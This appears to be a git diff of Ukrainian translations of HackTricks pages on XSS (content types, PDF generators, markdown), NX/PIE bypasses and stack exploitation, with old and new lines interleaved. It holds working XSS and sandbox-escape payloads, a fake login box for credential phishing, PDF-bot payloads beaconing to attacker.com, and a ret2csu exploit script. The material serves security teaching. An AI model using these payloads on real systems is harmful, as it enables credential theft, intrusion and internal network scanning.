(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Наступні типи контенту можуть виконувати XSS у всіх браузерах:
|
||||
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Наступні типи вмісту можуть виконувати XSS у всіх браузерах:
|
||||
|
||||
- text/html
|
||||
- application/xhtml+xml
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? не в списку, але я думаю, що бачив це в CTF)
|
||||
- text/plain (?? не в списку, але я думаю, що бачив це на CTF)
|
||||
- application/rss+xml (вимкнено)
|
||||
- application/atom+xml (вимкнено)
|
||||
|
||||
В інших браузерах можуть використовуватися інші **`Content-Types`** для виконання довільного JS, перевірте: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Content Type
|
||||
### xml Тип вмісту
|
||||
|
||||
Якщо сторінка повертає тип контенту text/xml, можливо вказати простір імен і виконати довільний JS:
|
||||
Якщо сторінка повертає тип вмісту text/xml, можливо вказати простір і виконати довільний JS:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -943,7 +941,7 @@ import { partition } from "lodash"
|
||||
```
|
||||
### Спеціальні шаблони заміни
|
||||
|
||||
Коли використовується щось на кшталт **`"some {{template}} data".replace("{{template}}", <user_input>)`**, зловмисник може використовувати [**спеціальні заміни рядків**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement), щоб спробувати обійти деякі захисти: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
Коли використовується щось на кшталт **`"some {{template}} data".replace("{{template}}", <user_input>)`**, атакуючий може використовувати [**спеціальні заміни рядків**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement), щоб спробувати обійти деякі захисти: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
Наприклад, у [**цьому звіті**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) це було використано для **екранування JSON рядка** всередині скрипта та виконання довільного коду.
|
||||
|
||||
@ -963,7 +961,7 @@ eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequir
|
||||
|
||||
// use of with
|
||||
with(console)log(123)
|
||||
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
|
||||
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
|
||||
// Just replace console.log(1) to the real code, the code we want to run is:
|
||||
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
|
||||
|
||||
@ -1001,7 +999,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
// our actual module code
|
||||
})
|
||||
```
|
||||
Отже, якщо з цього модуля ми можемо **викликати іншу функцію**, можливо використовувати `arguments.callee.caller.arguments[1]` з тієї функції для доступу до **`require`**:
|
||||
Отже, якщо з цього модуля ми можемо **викликати іншу функцію**, можливо використовувати `arguments.callee.caller.arguments[1]` з цієї функції для доступу до **`require`**:
|
||||
```javascript
|
||||
;(function () {
|
||||
return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
@ -1362,9 +1360,9 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
```
|
||||
_Короткі часи вказують на відповідний порт_ _Довші часи вказують на відсутність відповіді._
|
||||
|
||||
Перегляньте список заборонених портів у Chrome [**тут**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) та у Firefox [**тут**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
Перегляньте список портів, заборонених у Chrome [**тут**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) та у Firefox [**тут**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Поле для запиту облікових даних
|
||||
### Box to ask for credentials
|
||||
```markup
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
@ -1431,7 +1429,7 @@ shadow-dom.md
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### Сліпі XSS-пейлоади
|
||||
### Сліпі XSS пейлоади
|
||||
|
||||
Ви також можете використовувати: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
@ -1532,6 +1530,14 @@ server-side-xss-dynamic-pdf.md
|
||||
pdf-injection.md
|
||||
{{#endref}}
|
||||
|
||||
### XSS у Amp4Email
|
||||
|
||||
AMP, спрямований на прискорення продуктивності веб-сторінок на мобільних пристроях, включає HTML теги, доповнені JavaScript, щоб забезпечити функціональність з акцентом на швидкість і безпеку. Він підтримує ряд компонентів для різних функцій, доступних через [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Формат [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) розширює специфічні компоненти AMP для електронних листів, дозволяючи отримувачам взаємодіяти з контентом безпосередньо у своїх електронних листах.
|
||||
|
||||
Приклад [**writeup XSS у Amp4Email у Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS завантаження файлів (svg)
|
||||
|
||||
Завантажте як зображення файл, подібний до наступного (з [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
|
@ -4,19 +4,19 @@
|
||||
|
||||
## Server Side XSS (Dynamic PDF)
|
||||
|
||||
Якщо веб-сторінка створює PDF, використовуючи введення, контрольоване користувачем, ви можете спробувати **обманути бота**, який створює PDF, щоб він **виконував довільний JS код**.\
|
||||
Отже, якщо **бот створення PDF знаходить** якийсь вид **HTML** **тегів**, він буде **інтерпретувати** їх, і ви можете **зловживати** цією поведінкою, щоб викликати **Server XSS**.
|
||||
Якщо веб-сторінка створює PDF, використовуючи введення, контрольоване користувачем, ви можете спробувати **обманути бота**, який створює PDF, щоб він **виконав довільний JS код**.\
|
||||
Отже, якщо **бот для створення PDF знаходить** якісь **HTML** **теги**, він буде їх **інтерпретувати**, і ви можете **зловживати** цією поведінкою, щоб викликати **Server XSS**.
|
||||
|
||||
Зверніть увагу, що теги `<script></script>` не завжди працюють, тому вам знадобиться інший метод для виконання JS (наприклад, зловживання `<img` ).\
|
||||
Зверніть увагу, що теги `<script></script>` не завжди працюють, тому вам знадобиться інший метод для виконання JS (наприклад, зловживанням `<img` ).\
|
||||
Також зверніть увагу, що в звичайній експлуатації ви зможете **бачити/завантажувати створений pdf**, тому ви зможете бачити все, що ви **пишете через JS** (використовуючи `document.write()`, наприклад). Але, якщо ви **не можете бачити** створений PDF, вам, ймовірно, потрібно буде **витягнути інформацію, роблячи веб-запит до вас** (Сліпий).
|
||||
|
||||
### Популярна генерація PDF
|
||||
### Популярні генератори PDF
|
||||
|
||||
- **wkhtmltopdf** відомий своєю здатністю перетворювати HTML і CSS у PDF-документи, використовуючи движок рендерингу WebKit. Цей інструмент доступний як безкоштовна утиліта командного рядка, що робить його доступним для широкого спектра застосувань.
|
||||
- **TCPDF** пропонує надійне рішення в екосистемі PHP для генерації PDF. Він здатний обробляти зображення, графіку та шифрування, демонструючи свою універсальність для створення складних документів.
|
||||
- Для тих, хто працює в середовищі Node.js, **PDFKit** представляє собою життєздатний варіант. Він дозволяє генерувати PDF-документи безпосередньо з HTML і CSS, забезпечуючи міст між веб-контентом і друкованими форматами.
|
||||
- Для тих, хто працює в середовищі Node.js, **PDFKit** є життєздатним варіантом. Він дозволяє генерувати PDF-документи безпосередньо з HTML і CSS, забезпечуючи міст між веб-контентом і друкованими форматами.
|
||||
- Розробники на Java можуть віддати перевагу **iText**, бібліотеці, яка не тільки полегшує створення PDF, але й підтримує розширені функції, такі як цифрові підписи та заповнення форм. Її всебічний набір функцій робить її придатною для створення безпечних і інтерактивних документів.
|
||||
- **FPDF** є ще однією бібліотекою PHP, яка відрізняється своєю простотою та зручністю використання. Вона призначена для розробників, які шукають простий підхід до генерації PDF, без необхідності в розширених функціях.
|
||||
- **FPDF** є ще однією бібліотекою PHP, яка відрізняється своєю простотою та зручністю використання. Вона призначена для розробників, які шукають простий підхід до генерації PDF без необхідності в розширених функціях.
|
||||
|
||||
## Payloads
|
||||
|
||||
@ -69,7 +69,7 @@ if not, you will at least have wich path the bot is accessing -->
|
||||
<img src="x" onerror="document.write(window.location)" />
|
||||
<script> document.write(window.location) </script>
|
||||
```
|
||||
### Завантажте зовнішній скрипт
|
||||
### Завантажити зовнішній скрипт
|
||||
|
||||
Найкращий спосіб використати цю вразливість - зловживати нею, щоб змусити бота завантажити скрипт, який ви контролюєте локально. Тоді ви зможете змінювати корисне навантаження локально і змусити бота завантажувати його з тим самим кодом щоразу.
|
||||
```markup
|
||||
@ -145,15 +145,15 @@ checkPort(i);
|
||||
</script>
|
||||
<img src="https://attacker.com/startingScan">
|
||||
```
|
||||
### [SSRF](../ssrf-server-side-request-forgery/)
|
||||
### [SSRF](../ssrf-server-side-request-forgery/index.html)
|
||||
|
||||
Цю вразливість можна дуже легко перетворити на SSRF (оскільки ви можете змусити скрипт завантажувати зовнішні ресурси). Тож просто спробуйте її експлуатувати (прочитати деякі метадані?).
|
||||
Ця вразливість може бути дуже легко перетворена в SSRF (оскільки ви можете змусити скрипт завантажувати зовнішні ресурси). Тож просто спробуйте експлуатувати це (прочитати деякі метадані?).
|
||||
|
||||
### Attachments: PD4ML
|
||||
|
||||
Існують деякі HTML 2 PDF движки, які дозволяють **вказувати вкладення для PDF**, такі як **PD4ML**. Ви можете зловживати цією функцією, щоб **додати будь-який локальний файл** до PDF.\
|
||||
Щоб відкрити вкладення, я відкрив файл за допомогою **Firefox і двічі натиснув на символ скріпки**, щоб **зберегти вкладення** як новий файл.\
|
||||
Захоплення **PDF відповіді** за допомогою burp також повинно **показати вкладення у відкритому тексті** всередині PDF.
|
||||
Перехоплення **PDF відповіді** за допомогою burp також повинно **показати вкладення у відкритому тексті** всередині PDF.
|
||||
```html
|
||||
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
|
||||
<html>
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
### HTML теги
|
||||
|
||||
Найпоширеніший спосіб отримати XSS у markdown - це вставити звичайні HTML теги, які виконують javascript, оскільки кілька інтерпретаторів markdown також приймають HTML.
|
||||
Найпоширеніший спосіб отримати XSS у markdown - це вставити звичайні HTML теги, які виконують javascript, оскільки кілька інтерпретаторів markdown також прийматимуть HTML.
|
||||
```html
|
||||
<!-- XSS with regular tags -->
|
||||
<script>
|
||||
@ -42,7 +42,7 @@ t:prompt(document.cookie))
|
||||
```
|
||||
### HTML Sanitiser Markdown Bypass
|
||||
|
||||
Наступний код **санітує HTML-вхідні дані** і потім **передає їх парсеру Markdown**, після чого XSS може бути активовано, використовуючи неправильні інтерпретації між Markdown та DOMPurify 
|
||||
Наступний код **санітує HTML-вхідні дані** і потім **передає їх парсеру Markdown**, після чого XSS може бути активовано, використовуючи неправильні інтерпретації між Markdown і DOMPurify 
|
||||
```html
|
||||
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
|
||||
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
|
||||
@ -61,7 +61,7 @@ DOMPurify.sanitize(qs.get("content"))
|
||||
<div
|
||||
id="1
|
||||
|
||||
//)">
|
||||
//index.html)">
|
||||
-----------------------------------------------
|
||||
<a
|
||||
title="a
|
||||
|
@ -4,12 +4,12 @@
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Біт **No-Execute (NX)**, також відомий як **Execute Disable (XD)** в термінології Intel, є апаратною функцією безпеки, призначеною для **зменшення** наслідків атак **переповнення буфера**. Коли він реалізований і увімкнений, він розрізняє області пам'яті, які призначені для **виконуваного коду**, і ті, що призначені для **даних**, таких як **стек** і **куча**. Основна ідея полягає в тому, щоб запобігти виконанню зловмисного коду зловмисником через вразливості переповнення буфера, поміщаючи зловмисний код, наприклад, у стек і направляючи виконання до нього.
|
||||
Біт **No-Execute (NX)**, також відомий як **Execute Disable (XD)** в термінології Intel, є апаратною функцією безпеки, призначеною для **зменшення** наслідків атак **переповнення буфера**. Коли він реалізований і увімкнений, він розрізняє між регіонами пам'яті, які призначені для **виконуваного коду**, і тими, що призначені для **даних**, такими як **стек** і **куча**. Основна ідея полягає в тому, щоб запобігти зловмиснику виконувати шкідливий код через вразливості переповнення буфера, поміщаючи шкідливий код, наприклад, у стек і направляючи виконання до нього.
|
||||
|
||||
## Обходи
|
||||
|
||||
- Можливо використовувати такі техніки, як [**ROP**](../stack-overflow/rop-return-oriented-programing.md), щоб обійти цю захист, виконуючи частини виконуваного коду, які вже присутні в бінарному файлі.
|
||||
- [**Ret2libc**](../stack-overflow/ret2lib/)
|
||||
- [**Ret2libc**](../stack-overflow/ret2lib/index.html)
|
||||
- [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
|
||||
- **Ret2...**
|
||||
|
||||
|
@ -2,30 +2,30 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
## Basic Information
|
||||
|
||||
Бінарний файл, скомпільований як PIE, або **Position Independent Executable**, означає, що **програма може завантажуватися в різних місцях пам'яті** щоразу, коли вона виконується, запобігаючи жорстко закодованим адресам.
|
||||
|
||||
Трюк для експлуатації цих бінарних файлів полягає в експлуатації **відносних адрес** — зміщення між частинами програми залишаються однаковими, навіть якщо абсолютні місця змінюються. Щоб **обійти PIE, вам потрібно лише витікати одну адресу**, зазвичай з **стека**, використовуючи вразливості, такі як атаки форматних рядків. Як тільки у вас є адреса, ви можете обчислити інші за їхніми **фіксованими зміщеннями**.
|
||||
Трюк для експлуатації цих бінарних файлів полягає в експлуатації **відносних адрес** — зміщення між частинами програми залишаються незмінними, навіть якщо абсолютні місця змінюються. Щоб **обійти PIE, вам потрібно лише витікати одну адресу**, зазвичай з **стека**, використовуючи вразливості, такі як атаки форматних рядків. Як тільки ви отримали адресу, ви можете обчислити інші за їхніми **фіксованими зміщеннями**.
|
||||
|
||||
Корисна підказка при експлуатації бінарних файлів PIE полягає в тому, що їх **базова адреса зазвичай закінчується на 000** через те, що сторінки пам'яті є одиницями рандомізації, розміром 0x1000 байт. Це вирівнювання може бути критичною **перевіркою, якщо експлуатація не працює** так, як очікувалося, вказуючи на те, чи була ідентифікована правильна базова адреса.\
|
||||
Або ви можете використовувати це для вашої експлуатації, якщо ви витікаєте, що адреса знаходиться за **`0x649e1024`**, ви знаєте, що **базова адреса `0x649e1000`** і звідти ви можете просто **обчислити зміщення** функцій і місць.
|
||||
Або ви можете використовувати це для вашої експлуатації, якщо ви витікаєте, що адреса знаходиться за **`0x649e1024`**, ви знаєте, що **базова адреса `0x649e1000`** і з цього ви можете просто **обчислити зміщення** функцій і місць.
|
||||
|
||||
## Обходи
|
||||
## Bypasses
|
||||
|
||||
Щоб обійти PIE, потрібно **витикувати якусь адресу завантаженого** бінарного файлу, для цього є кілька варіантів:
|
||||
|
||||
- **Вимкнений ASLR**: Якщо ASLR вимкнено, бінарний файл, скомпільований з PIE, завжди **буде завантажуватися за тією ж адресою**, отже, **PIE буде марним**, оскільки адреси об'єктів завжди будуть в одному й тому ж місці.
|
||||
- Отримати **витік** (поширено в простих CTF-завданнях, [**перевірте цей приклад**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||
- **Вимкнений ASLR**: Якщо ASLR вимкнено, бінарний файл, скомпільований з PIE, завжди **буде завантажуватися за тією ж адресою**, отже, **PIE буде марним**, оскільки адреси об'єктів завжди будуть в одному і тому ж місці.
|
||||
- Отримати **витік** (поширено в простих CTF завданнях, [**перевірте цей приклад**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||
- **Брутфорсити значення EBP та EIP** у стеці, поки не витечете правильні:
|
||||
|
||||
{{#ref}}
|
||||
bypassing-canary-and-pie.md
|
||||
{{#endref}}
|
||||
|
||||
- Використовуйте вразливість довільного читання, таку як [**форматний рядок**](../../format-strings/), щоб витікати адресу бінарного файлу (наприклад, зі стека, як у попередній техніці), щоб отримати базу бінарного файлу та використовувати зміщення звідти. [**Знайдіть приклад тут**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
- Використовуйте вразливість довільного читання, таку як [**форматний рядок**](../../format-strings/index.html), щоб витікати адресу бінарного файлу (наприклад, зі стека, як у попередній техніці), щоб отримати базу бінарного файлу та використовувати зміщення звідти. [**Знайдіть приклад тут**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Що таке переповнення стеку
|
||||
|
||||
**Переповнення стеку** - це вразливість, яка виникає, коли програма записує більше даних у стек, ніж йому виділено. Ці надмірні дані **перезаписують сусідній простір пам'яті**, що призводить до пошкодження дійсних даних, порушення контролю потоку виконання та потенційного виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж на вхідних даних.
|
||||
**Переповнення стеку** - це вразливість, яка виникає, коли програма записує більше даних у стек, ніж йому виділено. Ці надмірні дані **перезапишуть сусідній простір пам'яті**, що призведе до пошкодження дійсних даних, порушення контролю потоку виконання та потенційного виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж на вхідні дані.
|
||||
|
||||
Основна проблема цього перезапису полягає в тому, що **збережений вказівник інструкцій (EIP/RIP)** та **збережений базовий вказівник (EBP/RBP)** для повернення до попередньої функції **зберігаються в стеці**. Тому зловмисник зможе перезаписати їх і **контролювати потік виконання програми**.
|
||||
|
||||
@ -22,7 +22,7 @@ printf("You entered: %s\n", buffer);
|
||||
```
|
||||
### Знаходження переповнень стеку
|
||||
|
||||
Найпоширеніший спосіб знайти переповнення стеку - це ввести дуже великий вхід з `A`s (наприклад, `python3 -c 'print("A"*1000)'`) і очікувати `Segmentation Fault`, що вказує на те, що **адресу `0x41414141` намагалися отримати доступ**.
|
||||
Найпоширеніший спосіб знайти переповнення стеку - це ввести дуже великий вхід з `A`s (наприклад, `python3 -c 'print("A"*1000)'`) і очікувати `Segmentation Fault`, що вказує на те, що **адресу `0x41414141` намагалися отримати**.
|
||||
|
||||
Більше того, як тільки ви виявите, що існує вразливість переповнення стеку, вам потрібно буде знайти зсув, поки не стане можливим **перезаписати адресу повернення**, для цього зазвичай використовується **послідовність Де Брюйна.** Яка для даного алфавіту розміру _k_ і підпослідовностей довжини _n_ є **циклічною послідовністю, в якій кожна можлива підпослідовність довжини **_**n**_** з'являється точно один раз** як безперервна підпослідовність.
|
||||
|
||||
@ -49,14 +49,14 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## Експлуатація переповнень стеку
|
||||
|
||||
Під час переповнення (якщо розмір переповнення достатньо великий) ви зможете перезаписати значення локальних змінних всередині стеку, поки не досягнете збереженого EBP/RBP та EIP/RIP (або навіть більше).\
|
||||
Найпоширеніший спосіб зловживання цим типом вразливості - це **модифікація адреси повернення**, щоб коли функція закінчується, **управління буде перенаправлено туди, куди вказав користувач** в цьому вказівнику.
|
||||
Під час переповнення (якщо розмір переповнення достатньо великий) ви зможете перезаписати значення локальних змінних у стеку, поки не досягнете збереженого EBP/RBP та EIP/RIP (або навіть більше).\
|
||||
Найпоширеніший спосіб зловживання цим типом вразливості - це **модифікація адреси повернення**, щоб коли функція закінчується, **управління буде перенаправлено туди, куди вказав користувач** у цьому вказівнику.
|
||||
|
||||
Однак в інших сценаріях просто **перезапис деяких значень змінних у стеку** може бути достатньо для експлуатації (як у простих CTF викликах).
|
||||
Однак у інших сценаріях просто **перезапис деяких значень змінних у стеку** може бути достатньо для експлуатації (як у простих CTF викликах).
|
||||
|
||||
### Ret2win
|
||||
|
||||
У цьому типі CTF викликів є **функція** **всередині** бінарного файлу, яка **ніколи не викликається** і яку **вам потрібно викликати, щоб виграти**. Для цих викликів вам просто потрібно знайти **зсув для перезапису адреси повернення** та **знайти адресу функції**, яку потрібно викликати (зазвичай [**ASLR**](../common-binary-protections-and-bypasses/aslr/) буде вимкнено), щоб коли вразлива функція повертається, прихована функція буде викликана:
|
||||
У цьому типі CTF викликів є **функція** **всередині** бінарного файлу, яка **ніколи не викликається** і яку **вам потрібно викликати, щоб виграти**. Для цих викликів вам просто потрібно знайти **зсув для перезапису адреси повернення** та **знайти адресу функції**, яку потрібно викликати (зазвичай [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) буде вимкнено), щоб коли вразлива функція повертається, прихована функція буде викликана:
|
||||
|
||||
{{#ref}}
|
||||
ret2win.md
|
||||
@ -72,7 +72,7 @@ stack-shellcode.md
|
||||
|
||||
## ROP
|
||||
|
||||
Ця техніка є основною основою для обходу основного захисту попередньої техніки: **Не виконавчий стек** (NX). І вона дозволяє виконувати кілька інших технік (ret2lib, ret2syscall...), які закінчать виконанням довільних команд, зловживаючи існуючими інструкціями в бінарному файлі:
|
||||
Ця техніка є основною основою для обходу основного захисту попередньої техніки: **Не виконавчий стек** (NX). І вона дозволяє виконувати кілька інших технік (ret2lib, ret2syscall...), які закінчуються виконанням довільних команд, зловживаючи існуючими інструкціями в бінарному файлі:
|
||||
|
||||
{{#ref}}
|
||||
rop-return-oriented-programing.md
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
## Basic Information
|
||||
|
||||
**ret2csu** - це техніка хакінгу, яка використовується, коли ви намагаєтеся взяти під контроль програму, але не можете знайти **gadgets**, які зазвичай використовуєте для маніпуляції поведінкою програми. 
|
||||
**ret2csu** - це техніка хакерства, яка використовується, коли ви намагаєтеся взяти під контроль програму, але не можете знайти **gadgets**, які зазвичай використовуєте для маніпуляції поведінкою програми. 
|
||||
|
||||
Коли програма використовує певні бібліотеки (наприклад, libc), вона має вбудовані функції для управління тим, як різні частини програми спілкуються одна з одною. Серед цих функцій є кілька прихованих скарбів, які можуть діяти як наші відсутні gadgets, особливо одна під назвою `__libc_csu_init`.
|
||||
Коли програма використовує певні бібліотеки (наприклад, libc), вона має деякі вбудовані функції для управління тим, як різні частини програми спілкуються одна з одною. Серед цих функцій є кілька прихованих скарбів, які можуть діяти як наші відсутні gadgets, особливо одна під назвою `__libc_csu_init`.
|
||||
|
||||
### Магічні Gadgets в \_\_libc_csu_init
|
||||
### The Magic Gadgets in \_\_libc_csu_init
|
||||
|
||||
У `__libc_csu_init` є дві послідовності інструкцій (наш "магічний gadgets"), які виділяються:
|
||||
|
||||
@ -35,14 +35,14 @@ call qword [r15 + rbx*8];
|
||||
```
|
||||
## Приклад
|
||||
|
||||
Уявіть, що ви хочете зробити syscall або викликати функцію, як-от `write()`, але вам потрібні специфічні значення в регістрах `rdx` і `rsi` як параметри. Зазвичай ви шукали б гаджети, які безпосередньо встановлюють ці регістри, але не можете знайти жодного.
|
||||
Уявіть, що ви хочете зробити syscall або викликати функцію, як-от `write()`, але вам потрібні специфічні значення в регістрах `rdx` та `rsi` як параметри. Зазвичай ви шукали б гаджети, які безпосередньо встановлюють ці регістри, але не можете знайти жодного.
|
||||
|
||||
Ось де **ret2csu** стає в нагоді:
|
||||
Ось тут і вступає в гру **ret2csu**:
|
||||
|
||||
1. **Налаштуйте регістри**: Використовуйте перший магічний гаджет, щоб витягти значення зі стеку і помістити їх у rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) та r15.
|
||||
2. **Використовуйте другий гаджет**: З цими налаштованими регистрами ви використовуєте другий гаджет. Це дозволяє вам перемістити вибрані значення в `rdx` і `rsi` (з r14 і r13 відповідно), готуючи параметри для виклику функції. Більше того, контролюючи `r15` і `rbx`, ви можете змусити програму викликати функцію, розташовану за адресою, яку ви обчислюєте і поміщаєте в `[r15 + rbx*8]`.
|
||||
1. **Налаштуйте регістри**: Використовуйте перший магічний гаджет, щоб витягти значення зі стеку та помістити їх у rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) та r15.
|
||||
2. **Використовуйте другий гаджет**: З цими налаштованими регистрами ви використовуєте другий гаджет. Це дозволяє вам перемістити вибрані значення в `rdx` та `rsi` (з r14 та r13 відповідно), готуючи параметри для виклику функції. Більше того, контролюючи `r15` та `rbx`, ви можете змусити програму викликати функцію, розташовану за адресою, яку ви обчислюєте та поміщаєте в `[r15 + rbx*8]`.
|
||||
|
||||
У вас є [**приклад використання цієї техніки та пояснення тут**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), і це фінальний експлойт, який він використав:
|
||||
У вас є [**приклад використання цієї техніки та пояснення тут**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), і це фінальний експлойт, який вона використовувала:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -67,10 +67,10 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
||||
print(p.recvline()) # should receive "Awesome work!"
|
||||
```
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що попередній експлойт не призначений для виконання **`RCE`**, він призначений лише для виклику функції під назвою `win` (взяти адресу `win` з stdin, викликавши gets в ROP-ланцюгу та зберігши її в r15) з третім аргументом зі значенням `0xdeadbeefcafed00d`.
|
||||
> Зверніть увагу, що попередній експлойт не призначений для виконання **`RCE`**, він призначений лише для виклику функції `win` (взявши адресу `win` з stdin, викликаючи gets в ROP-ланцюгу та зберігаючи її в r15) з третім аргументом зі значенням `0xdeadbeefcafed00d`.
|
||||
|
||||
### Чому не просто використовувати libc безпосередньо?
|
||||
|
||||
Зазвичай ці випадки також вразливі до [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), але іноді вам потрібно контролювати більше параметрів, ніж можна легко контролювати за допомогою гаджетів, які ви знаходите безпосередньо в libc. Наприклад, функція `write()` вимагає три параметри, і **знайти гаджети для встановлення всіх цих безпосередньо може бути неможливо**.
|
||||
Зазвичай ці випадки також вразливі до [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), але іноді вам потрібно контролювати більше параметрів, ніж можна легко контролювати за допомогою гаджетів, які ви знаходите безпосередньо в libc. Наприклад, функція `write()` вимагає три параметри, і **знайти гаджети для встановлення всіх цих параметрів безпосередньо може бути неможливо**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -6,13 +6,13 @@
|
||||
|
||||
**Оскільки ESP (вказівник стеку) завжди вказує на верхню частину стеку**, ця техніка полягає в заміні EIP (вказівник інструкцій) адресою інструкції **`jmp esp`** або **`call esp`**. Таким чином, shellcode розміщується безпосередньо після переписаного EIP. Коли виконується інструкція `ret`, ESP вказує на наступну адресу, точно там, де зберігається shellcode.
|
||||
|
||||
Якщо **випадкове розташування адресного простору (ASLR)** не увімкнено в Windows або Linux, можна використовувати інструкції `jmp esp` або `call esp`, знайдені в спільних бібліотеках. Однак, з активним [**ASLR**](../common-binary-protections-and-bypasses/aslr/), можливо, доведеться шукати ці інструкції безпосередньо в уразливій програмі (і вам, можливо, потрібно буде подолати [**PIE**](../common-binary-protections-and-bypasses/pie/)).
|
||||
Якщо **випадкове розташування адресного простору (ASLR)** не активовано в Windows або Linux, можна використовувати інструкції `jmp esp` або `call esp`, знайдені в спільних бібліотеках. Однак, з активним [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html), можливо, доведеться шукати ці інструкції безпосередньо в уразливій програмі (і вам, можливо, потрібно буде подолати [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
|
||||
|
||||
Більше того, можливість розмістити shellcode **після корупції EIP**, а не посередині стеку, забезпечує, що будь-які інструкції `push` або `pop`, виконувані під час роботи функції, не заважатимуть shellcode. Це завадження може статися, якщо shellcode буде розміщено посередині стеку функції.
|
||||
Більше того, можливість розміщення shellcode **після корупції EIP**, а не посередині стеку, забезпечує, що будь-які інструкції `push` або `pop`, виконувані під час роботи функції, не заважатимуть shellcode. Це завада може статися, якщо shellcode буде розміщено посередині стеку функції.
|
||||
|
||||
### Брак місця
|
||||
### Нестача місця
|
||||
|
||||
Якщо вам не вистачає місця для запису після переписування RIP (можливо, лише кілька байтів), напишіть початковий shellcode `jmp`, наприклад:
|
||||
Якщо у вас недостатньо місця для запису після переписування RIP (можливо, лише кілька байтів), напишіть початковий shellcode `jmp`, наприклад:
|
||||
```armasm
|
||||
sub rsp, 0x30
|
||||
jmp rsp
|
||||
@ -52,7 +52,7 @@ p.interactive()
|
||||
## Захист
|
||||
|
||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Якщо стек не є виконуваним, це не допоможе, оскільки нам потрібно помістити shellcode в стек і стрибнути для його виконання.
|
||||
